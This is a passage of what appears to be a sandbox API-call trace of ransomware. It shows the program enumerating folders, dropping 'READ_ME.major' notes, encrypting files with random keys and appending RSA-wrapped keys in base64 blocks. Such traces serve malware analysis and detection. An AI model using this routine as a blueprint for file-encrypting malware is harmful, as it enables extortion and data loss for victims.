lpOverlapped=0x0) returned 1 [0194.676] CloseHandle (hObject=0xb0c) returned 1 [0194.676] FindNextFileW (in: hFindFile=0x2f2c5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.676] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0c [0194.677] WriteFile (in: hFile=0xb0c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.678] CloseHandle (hObject=0xb0c) returned 1 [0194.678] FindNextFileW (in: hFindFile=0x2f2c5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bf126a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf126a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.678] FindNextFileW (in: hFindFile=0x2f2c5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.678] FindNextFileW (in: hFindFile=0x2f2c5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.679] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89788 [0194.679] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c338 [0194.679] FindNextFileW (in: hFindFile=0x2f2c338, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.679] FindNextFileW (in: hFindFile=0x2f2c338, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf126a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf126a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.679] FindNextFileW (in: hFindFile=0x2f2c338, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf126a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf126a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.679] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89590 [0194.679] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c1b8 [0194.679] FindNextFileW (in: hFindFile=0x2f2c1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.679] FindNextFileW (in: hFindFile=0x2f2c1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf126a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf126a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.679] FindNextFileW (in: hFindFile=0x2f2c1b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf126a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf126a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.679] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89788 [0194.679] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c1f8 [0194.680] FindNextFileW (in: hFindFile=0x2f2c1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf126a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x2f2c1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf126a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf126a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x2f2c1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf126a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf126a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f84b80 [0194.680] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c078 [0194.680] FindNextFileW (in: hFindFile=0x2f2c078, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x2f2c078, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf38d8d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf38d8d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x2f2c078, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf38d8d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf38d8d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88fa8 [0194.680] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c238 [0194.680] FindNextFileW (in: hFindFile=0x2f2c238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x2f2c238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf38d8d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf38d8d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x2f2c238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c438394, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x2f2c238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.680] FindNextFileW (in: hFindFile=0x2f2c238, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0194.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0194.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0194.681] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.681] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657d80 [0194.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.681] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb20 [0194.681] GetFileSizeEx (in: hFile=0xb20, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0194.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f998f0 [0194.681] ReadFile (in: hFile=0xb20, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.699] SetFilePointer (in: hFile=0xb20, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.699] WriteFile (in: hFile=0xb20, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.700] SetFilePointer (in: hFile=0xb20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.700] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.700] WriteFile (in: hFile=0xb20, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.700] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.700] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.700] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GanpVGaFbUgV7pW6aiA6DCjSrU11zT9mup69YoVVXTgknsVja8TvT/eNQnwR+iDl\npbhJEgaKUH3cJAs51G4ivDqgaRJPxhmZBKfHarUYYc/+Dr63T46jpmrZB9+AfDhP\nrzulFG8+B4dVRDLQbFJAlQuW18OVu9oEjH/yzq1o8y/WP01J89RDH+PGOdPcXlwj\nK+zkZZH4hMAP7VN+pgXzLbkmpIQIRHRmFYZquXpkvikXLxusURajcMYAAnnnFODc\nwjnNmiFToSCKm5cvKktD3tgBhHNmHOLYk4Ysi9uLykoMU3d1leu/j9J1iRXZM9Pm\nwuGGmC+HvwXmhlZcZ0rUhQ==\n", pcchString=0x2e3f9a8) returned 1 [0194.700] WriteFile (in: hFile=0xb20, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.700] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.700] WriteFile (in: hFile=0xb20, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.700] CloseHandle (hObject=0xb20) returned 1 [0194.720] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.720] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657fd8 [0194.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.720] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb20 [0194.721] GetFileSizeEx (in: hFile=0xb20, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d250 [0194.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d240 [0194.721] ReadFile (in: hFile=0xb20, lpBuffer=0x59d250, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.721] SetFilePointer (in: hFile=0xb20, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.721] WriteFile (in: hFile=0xb20, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.721] SetFilePointer (in: hFile=0xb20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.721] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.721] WriteFile (in: hFile=0xb20, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.722] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.722] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.722] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.722] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="hAVzeByE9CodXfZAbaZUB4qcb0gHKZynijxnt/gbEHZKhEvKF7x8vIDo1ISPPdcG\nPB4eHggNrIg+4ouAy5n2m0toGvGvl6skacEInuXOgqyvSxtMGpLPjc3/XaeZpxqK\njEc+E/JtRFLivD06zTR2l9JWZTH1AyQdmjcJvvQX5MXi3KH50MP7x7fM7T+t5Mj2\nRWrY+0VUU30xm2tiMjloqrwq2o8FlvLOnIlqgbgRzPKqR/vquxUNe1UaE9m04edu\n90t+RRBEU5PQj7flBek5Z/dfBp3rdPgt4deh7AV9nO3OmAzChNQfombVfKATcxLS\nLMrix1NVf6od6oDCNLKzGg==\n", pcchString=0x2e3f9a8) returned 1 [0194.722] WriteFile (in: hFile=0xb20, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.722] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.722] WriteFile (in: hFile=0xb20, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.723] CloseHandle (hObject=0xb20) returned 1 [0194.724] FindFirstFileW (in: 